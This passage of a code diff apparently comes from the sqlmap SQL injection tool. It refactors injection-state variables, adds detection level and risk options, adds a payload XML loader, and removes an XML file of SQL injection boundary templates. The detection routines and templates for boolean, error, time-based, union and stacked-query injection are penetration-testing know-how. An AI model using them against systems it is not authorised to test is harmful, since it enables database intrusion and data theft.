dataToSessionFile("[%s][%s][%s][Error based injection][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace])))
dataToSessionFile("[%s][%s][%s][Error-based injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload))
def setTimeBased(place, parameter, payload):
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Time-based blind injection") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Time-based blind injection][%s]\n" % (conf.url, place, safeFormatString(conf.parameters[place]), payload))
def setUnion(comment=None, count=None, position=None, negative=False, falseCond=False, payload=None):
"""
@ -226,7 +228,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
)
if condition:
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(comment)))
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment)))
kb.unionComment = comment
@ -237,7 +239,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
)
if condition:
dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), count))
dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count))
kb.unionCount = count
@ -248,7 +250,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
)
if condition:
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), position))
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position))
kb.unionPosition = position
@ -260,7 +262,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
)
if condition:
dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace])))
dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
kb.unionNegative = True
@ -272,7 +274,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
)
if condition:
dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace])))
dataToSessionFile("[%s][%s][%s][Union false condition][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
kb.unionFalseCond = True
@ -284,7 +286,7 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
)
if condition:
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), payload))
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload))
kb.unionTest = payload
@ -295,7 +297,7 @@ def setRemoteTempPath():
)
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(conf.tmpPath)))
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(conf.tmpPath)))
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
@ -352,6 +354,12 @@ def resumeConfKb(expression, url, value):
except ValueError:
pass
elif expression == "Injection type" and url == conf.url:
kb.injection.stype = unSafeFormatString(value[:-1])
logMsg = "resuming injection type '%s' from session file" % kb.injection.stype
logger.info(logMsg)
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]
@ -365,7 +373,7 @@ def resumeConfKb(expression, url, value):
warnMsg += "injectable point"
logger.warn(warnMsg)
else:
kb.injPlace = injPlace
kb.injection.place = injPlace
elif expression == "Injection parameter" and url == conf.url:
injParameter = unSafeFormatString(value[:-1])
@ -374,8 +382,8 @@ def resumeConfKb(expression, url, value):
logger.info(logMsg)
condition = (
not conf.paramDict.has_key(kb.injPlace) or
not conf.paramDict[kb.injPlace].has_key(injParameter)
not conf.paramDict.has_key(kb.injection.place) or
not conf.paramDict[kb.injection.place].has_key(injParameter)
)
if condition:
@ -385,19 +393,24 @@ def resumeConfKb(expression, url, value):
warnMsg += "injectable point"
logger.warn(warnMsg)
else:
kb.injParameter = injParameter
kb.injection.parameter = injParameter
elif expression == "Injection type" and url == conf.url:
kb.injType = unSafeFormatString(value[:-1])
elif expression == "Injection parameter type" and url == conf.url:
kb.injection.ptype = unSafeFormatString(value[:-1])
logMsg = "resuming injection type '%s' from session file" % kb.injType
logMsg = "resuming injection parameter type '%s' from session file" % kb.injection.ptype
logger.info(logMsg)
elif expression == "Parenthesis" and url == conf.url:
kb.parenthesis = int(value[:-1])
elif expression == "Injection prefix" and url == conf.url:
kb.injection.prefix = unSafeFormatString(value[:-1])
logMsg = "resuming %d number of " % kb.parenthesis
logMsg += "parenthesis from session file"
logMsg = "resuming injection prefix '%s' from session file" % kb.injection.prefix
logger.info(logMsg)
elif expression == "Injection suffix" and url == conf.url:
kb.injection.suffix = unSafeFormatString(value[:-1])
logMsg = "resuming injection suffix '%s' from session file" % kb.injection.suffix
logger.info(logMsg)
elif expression == "DBMS" and url == conf.url:
@ -455,6 +468,20 @@ def resumeConfKb(expression, url, value):
else:
conf.os = os
elif expression == "Boolean-based blind injection" and url == conf.url:
kb.booleanTest = unSafeFormatString(value[:-1])
logMsg = "resuming boolean-based blind injection "
logMsg += "'%s' from session file" % kb.booleanTest
logger.info(logMsg)
elif expression == "Error-based injection" and url == conf.url:
kb.errorTest = unSafeFormatString(value[:-1])
logMsg = "resuming error-based injection "
logMsg += "'%s' from session file" % kb.errorTest
logger.info(logMsg)
elif expression == "Stacked queries" and url == conf.url:
kb.stackedTest = unSafeFormatString(value[:-1])
@ -462,11 +489,11 @@ def resumeConfKb(expression, url, value):
logMsg += "'%s' from session file" % kb.stackedTest
logger.info(logMsg)
elif expression == "Error based injection" and url == conf.url:
kb.errorTest = unSafeFormatString(value[:-1]) == 'Yes'
elif expression == "Time-based blind injection" and url == conf.url:
kb.timeTest = unSafeFormatString(value[:-1])
logMsg = "resuming error based injection "
logMsg += "'%s' from session file" % kb.errorTest
logMsg = "resuming time-based blind injection "
logMsg += "'%s' from session file" % kb.timeTest
logger.info(logMsg)
elif expression == "Union comment" and url == conf.url:

View File

@ -183,6 +183,14 @@ def cmdLineParser():
"HTTP responses when using blind SQL "
"injection technique.")
detection.add_option("--level", dest="level", default=1, type="int",
help="Level of tests to perform (1-5, "
"default 1)")
detection.add_option("--risk", dest="risk", default=1, type="int",
help="Risk of tests to perform (0-3, "
"default 1)")
detection.add_option("--string", dest="string",
help="String to match in page when the "
"query is valid")

70
lib/parse/payloads.py Normal file
View File

@ -0,0 +1,70 @@
#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
from xml.etree import ElementTree as et
from lib.core.data import conf
from lib.core.data import paths
from lib.core.datatype import advancedDict
def cleanupVals(values, tag):
count = 0
for value in values:
if value.isdigit():
value = int(value)
values[count] = value
count += 1
if len(values) == 1 and tag not in ("clause", "where"):
values = values[0]
return values
def parseXmlNode(node):
for element in node.getiterator('boundary'):
boundary = advancedDict()
for child in element.getchildren():
if child.text:
values = cleanupVals(child.text.split(','), child.tag)
boundary[child.tag] = values
else:
boundary[child.tag] = None
conf.boundaries.append(boundary)
for element in node.getiterator('test'):
test = advancedDict()
for child in element.getchildren():
if child.text and child.text.strip():
values = cleanupVals(child.text.split(','), child.tag)
test[child.tag] = values
else:
if len(child.getchildren()) == 0:
test[child.tag] = None
continue
else:
test[child.tag] = advancedDict()
for gchild in child.getchildren():
if gchild.tag in test[child.tag]:
prevtext = test[child.tag][gchild.tag]
test[child.tag][gchild.tag] = [prevtext, gchild.text]
else:
test[child.tag][gchild.tag] = gchild.text
conf.tests.append(test)
def loadPayloads():
doc = et.parse(paths.PAYLOADS_XML)
root = doc.getroot()
parseXmlNode(root)

View File

@ -338,7 +338,7 @@ class Connect:
toUrlencode = { PLACE.GET: True, PLACE.POST: True, PLACE.COOKIE: conf.cookieUrlencode, PLACE.UA: True, PLACE.URI: False }
if not place:
place = kb.injPlace
place = kb.injection.place
payload = agent.extractPayload(value)

View File

@ -54,7 +54,7 @@ def direct(query, content=True):
return None
elif content:
if conf.hostname not in kb.resumedQueries or ( conf.hostname in kb.resumedQueries and query not in kb.resumedQueries[conf.hostname] ):
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injPlace, conf.parameters[kb.injPlace], query, base64pickle(output)))
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.hostname, kb.injection.place, conf.parameters[kb.injection.place], query, base64pickle(output)))
if len(output) == 1:
if len(output[0]) == 1:

View File

@ -45,7 +45,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
else:
length = None
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression))
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
@ -353,7 +353,7 @@ def getValue(expression, blind=True, inband=True, error=True, fromUser=False, ex
expression = expression.replace("DISTINCT ", "")
if error and conf.errorTest:
if error and kb.errorTest:
value = goError(expression)
if not value:
@ -435,7 +435,7 @@ def goError(expression, suppressOutput=False, returnPayload=False):
result = errorUse(expression, returnPayload)
if not returnPayload:
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result)))
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result)))
if suppressOutput:
conf.verbose = popValue()

View File

@ -23,7 +23,7 @@ def timeTest():
return kb.timeTest
infoMsg = "testing time-based blind sql injection on parameter "
infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
infoMsg += "'%s' with %s condition syntax" % (kb.injection.parameter, conf.logic)
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
@ -37,18 +37,18 @@ def timeTest():
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a time-based blind "
infoMsg += "sql injection with AND condition syntax on parameter "
infoMsg += "'%s'" % kb.injParameter
infoMsg += "'%s'" % kb.injection.parameter
logger.info(infoMsg)
kb.timeTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a time-based blind "
warnMsg += "sql injection with AND condition syntax on parameter "
warnMsg += "'%s'" % kb.injParameter
warnMsg += "'%s'" % kb.injection.parameter
logger.warn(warnMsg)
infoMsg = "testing time-based blind sql injection on parameter "
infoMsg += "'%s' with stacked queries syntax" % kb.injParameter
infoMsg += "'%s' with stacked queries syntax" % kb.injection.parameter
logger.info(infoMsg)
timeQuery = getDelayQuery(andCond=True)
@ -59,14 +59,14 @@ def timeTest():
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a time-based blind sql "
infoMsg += "injection with stacked queries syntax on parameter "
infoMsg += "'%s'" % kb.injParameter
infoMsg += "'%s'" % kb.injection.parameter
logger.info(infoMsg)
kb.timeTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a time-based blind "
warnMsg += "sql injection with stacked queries syntax on parameter "
warnMsg += "'%s'" % kb.injParameter
warnMsg += "'%s'" % kb.injection.parameter
logger.warn(warnMsg)
kb.timeTest = False

View File

@ -27,7 +27,7 @@ def errorTest():
return kb.errorTest
infoMsg = "testing error-based sql injection on parameter "
infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
infoMsg += "'%s' with %s condition syntax" % (kb.injection.parameter, conf.logic)
logger.info(infoMsg)
randInt = getUnicode(randomInt(1))
@ -36,13 +36,13 @@ def errorTest():
if result:
infoMsg = "the target url is affected by an error-based sql "
infoMsg += "injection on parameter '%s'" % kb.injParameter
infoMsg += "injection on parameter '%s'" % kb.injection.parameter
logger.info(infoMsg)
kb.errorTest = agent.removePayloadDelimiters(usedPayload, False)
else:
warnMsg = "the target url is not affected by an error-based sql "
warnMsg += "injection on parameter '%s'" % kb.injParameter
warnMsg += "injection on parameter '%s'" % kb.injection.parameter
logger.warn(warnMsg)
kb.errorTest = False

View File

@ -157,7 +157,7 @@ def unionTest():
technique = "char (%s) bruteforcing" % conf.uChar
infoMsg = "testing inband sql injection on parameter "
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
logger.info(infoMsg)
validPayload = None
@ -174,12 +174,12 @@ def unionTest():
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount)
infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
logger.info(infoMsg)
else:
infoMsg = "the target url is not affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s'" % kb.injParameter
infoMsg += "on parameter '%s'" % kb.injection.parameter
logger.info(infoMsg)
validPayload = agent.removePayloadDelimiters(validPayload, False)

View File

@ -26,7 +26,7 @@ def stackedTest():
return kb.stackedTest
infoMsg = "testing stacked queries sql injection on parameter "
infoMsg += "'%s'" % kb.injParameter
infoMsg += "'%s'" % kb.injection.parameter
logger.info(infoMsg)
query = getDelayQuery()
@ -36,13 +36,13 @@ def stackedTest():
if duration >= conf.timeSec:
infoMsg = "the target url is affected by a stacked queries "
infoMsg += "sql injection on parameter '%s'" % kb.injParameter
infoMsg += "sql injection on parameter '%s'" % kb.injection.parameter
logger.info(infoMsg)
kb.stackedTest = agent.removePayloadDelimiters(payload, False)
else:
warnMsg = "the target url is not affected by a stacked queries "
warnMsg += "sql injection on parameter '%s'" % kb.injParameter
warnMsg += "sql injection on parameter '%s'" % kb.injection.parameter
logger.warn(warnMsg)
kb.stackedTest = False

View File

@ -74,7 +74,7 @@ def queryOutputLength(expression, payload):
if output:
return 0, output, regExpr
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], lengthExpr))
start = time.time()
lengthExprUnescaped = unescaper.unescape(lengthExpr)
@ -156,7 +156,7 @@ def resume(expression, payload):
infoMsg += "%s" % resumedValue.split("\n")[0]
logger.info(infoMsg)
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue)))
return resumedValue
elif len(resumedValue) < int(length):
@ -164,7 +164,7 @@ def resume(expression, payload):
infoMsg += "%s..." % resumedValue.split("\n")[0]
logger.info(infoMsg)
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(resumedValue)))
if select:
newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)

View File

@ -79,7 +79,7 @@ class Filesystem(GenericFilesystem):
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injPlace == PLACE.GET and fcEncodedStrLen > 8000:
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "

View File

@ -164,7 +164,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injPlace != PLACE.URI else "AND ISNULL(1 DIV 0)")
payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)")
result = Request.queryPage(payload)
if not result:

View File

@ -192,6 +192,20 @@ tamper =
# content from HTTP responses when using blind SQL injection technique.
[Detection]
# Level of tests to perform
# The higher the value is, the higher the number of HTTP(s) requests are
# as well as the better chances to detect a tricky SQL injection.
# Valid: Integer between 1 and 5
# Default: 1
level = 1
# Risk of tests to perform
# Note: boolean-based blind SQL injection tests with AND are considered
# risk 1, with OR are considered risk 3.
# Valid: Integer between 0 and 3
# Default: 1
risk = 1
# String to match within the page content when the query is valid, only
# needed if the page content dynamically changes at each refresh.
# Refer to the user's manual for further details.

View File

@ -1,64 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<case name="custom" desc="custom">
<test>
<positive format="%s%s%s %s %s%d=%d %s" params="value, prefix, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randInt, randInt, suffix"/>
<negative format="%s%s%s %s %s%d=%d %s" params="value, prefix, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randInt, randInt + 1, suffix"/>
</test>
<usage>
<prefix format="%s " params="')' * parenthesis"/>
<suffix format=" %s %s" params="logic, '(' * parenthesis"/>
</usage>
</case>
<case name="numeric" desc="unescaped numeric">
<test>
<positive format="%s%s %s %s%d=%d" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randInt, randInt"/>
<negative format="%s%s %s %s%d=%d" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randInt, randInt + 1"/>
</test>
<usage>
<prefix format="%s " params="')' * parenthesis"/>
<suffix format=" %s %s%d=%d" params="logic, '(' * parenthesis, randInt, randInt"/>
</usage>
</case>
<case name="stringsingle" desc="single quoted string">
<test>
<positive format="%s'%s %s %s'%s'='%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr"/>
<negative format="%s'%s %s %s'%s'='%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr + randomStr(1)"/>
</test>
<usage>
<prefix format="'%s " params="')' * parenthesis"/>
<suffix format=" %s %s'%s'='%s" params="logic, '(' * parenthesis, randStr, randStr"/>
</usage>
</case>
<case name="likesingle" desc="LIKE single quoted string">
<test>
<positive format="%s'%s %s %s'%s' LIKE '%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr"/>
<negative format="%s'%s %s %s'%s' LIKE '%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr + randomStr(1)"/>
</test>
<usage>
<prefix format="'%s " params="')' * parenthesis"/>
<suffix format=" %s %s'%s' LIKE '%s" params="logic, '(' * parenthesis, randStr, randStr"/>
</usage>
</case>
<case name="stringdouble" desc="double quoted string">
<test>
<positive format="%s&quot;%s %s %s&quot;%s&quot;=&quot;%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr"/>
<negative format="%s&quot;%s %s %s&quot;%s&quot;=&quot;%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr + randomStr(1)"/>
</test>
<usage>
<prefix format="&quot;%s " params="')' * parenthesis"/>
<suffix format=" %s %s&quot;%s&quot;=&quot;%s" params="logic, '(' * parenthesis, randStr, randStr"/>
</usage>
</case>
<case name="likedouble" desc="LIKE double quoted string">
<test>
<positive format="%s&quot;%s %s %s&quot;%s&quot; LIKE &quot;%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr"/>
<negative format="%s&quot;%s %s %s&quot;%s&quot; LIKE &quot;%s" params="value, &quot;)&quot; * parenthesis, logic, &quot;(&quot; * parenthesis, randStr, randStr + randomStr(1)"/>
</test>
<usage>
<prefix format="&quot;%s " params="')' * parenthesis"/>
<suffix format=" %s %s&quot;%s&quot; LIKE &quot;%s" params="logic, '(' * parenthesis, randStr, randStr"/>
</usage>
</case>
</root>

1290
xml/payloads.xml Normal file

File diff suppressed because it is too large Load Diff